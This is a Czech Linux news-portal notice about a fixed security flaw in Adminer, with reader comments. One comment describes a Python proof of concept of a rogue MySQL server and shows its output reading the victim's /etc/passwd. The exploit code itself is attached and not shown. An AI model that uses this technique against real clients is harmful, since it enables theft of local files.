Portál AbcLinuxu, 8. května 2025 07:11

Bezpečnostní chyba v Admineru

Byly zveřejněny informace o bezpečnostní chybě v nástroji pro správu databází v jednom PHP souboru Adminer. Chyba je už půl roku opravena. Stačí Adminer aktualizovat.

21.1.2019 16:55 | Ladislav Hagara | Bezpečnostní upozornění


Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (1) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

21.1.2019 20:27 Odin1918 | skóre: 6 | blog: Valhalla
Rozbalit Rozbalit vše Re: Bezpečnostní chyba v Admineru
Odpovědět | Sbalit | Link | Blokovat | Admin
Vrana k vrane seda. :-( Necht php zhyne a upadne v zapomneni.
Jendа avatar 22.1.2019 09:51 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní chyba v Admineru
Příloha:
Z čistě edukativních důvodů, a určitě ne proto abych krmil internetového trolla a ukázal mu, že to nesouvisí s PHP, nýbrž se stejný problém vyskytuje i v jiných programovacích jazycích, jsem ten exploit přepsal do Pythonu.

Použití: Jako útočník spustíme attacker.py.

Oběť:
Python 3.7.2 (default, Jan  3 2019, 02:55:40) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import MySQLdb
>>> connection = MySQLdb.Connect(host='127.0.0.1', user='nsa', passwd='litomerice', db='catchmeifyoucan')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3/dist-packages/MySQLdb/__init__.py", line 86, in Connect
    return Connection(*args, **kwargs)
  File "/usr/lib/python3/dist-packages/MySQLdb/connections.py", line 266, in __init__
    self.autocommit(autocommit)
  File "/usr/lib/python3/dist-packages/MySQLdb/connections.py", line 272, in autocommit
    _mysql.connection.autocommit(self, on)
_mysql_exceptions.OperationalError: (2013, 'Lost connection to MySQL server during query')
>>> 
Útočník vidí:
ACCEPT:  ('127.0.0.1', 40422)
> server greeting
plen 204
received data: b'\x01\x8c\xa2\x9f\x00\x00\x00\x00@\x08\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00nsa\x00\x14\xd7\xfd
\xdbj\x11\xe5\x8f\x14\x89\xeaa\x8a\xaf\xf2\xcc\x91\xea\xf7\xe0\xc4catchmeifyoucan\x00mysql_native_password\x00k\x03_os\x05Linux\x0c_client_name\nlibmariadb\x04_pid
\x0519516\x0f_client_version\x053.0.8\t_platform\x06x86_64\x0c_server_host\t127.0.0.1'
> auth accept
plen 18
received data: b'\x00\x03SET autocommit=0'
> exploit
plen 3632
received data: b'\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:
/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys: [...]
Testováno na aktuálních verzích v Debianu Unstable, je mi úplně fuk že to je binárně nekompatibilní s okolním světem, a taky je mi fuk, že to u oběti hodí exception a tudíž pokud to použijete v produkci, tak si toho všimne. Je to Poc.
Bedňa avatar 23.1.2019 00:05 Bedňa | skóre: 34 | blog: Žumpa | Horňany
Rozbalit Rozbalit vše Re: Bezpečnostní chyba v Admineru
Pekné :-)
KERNEL ULTRAS video channel >>>
Jendа avatar 22.1.2019 08:51 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní chyba v Admineru
Odpovědět | Sbalit | Link | Blokovat | Admin
Komu se to nechce hledat tak tady je ten commit.

Založit nové vláknoNahoru


ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.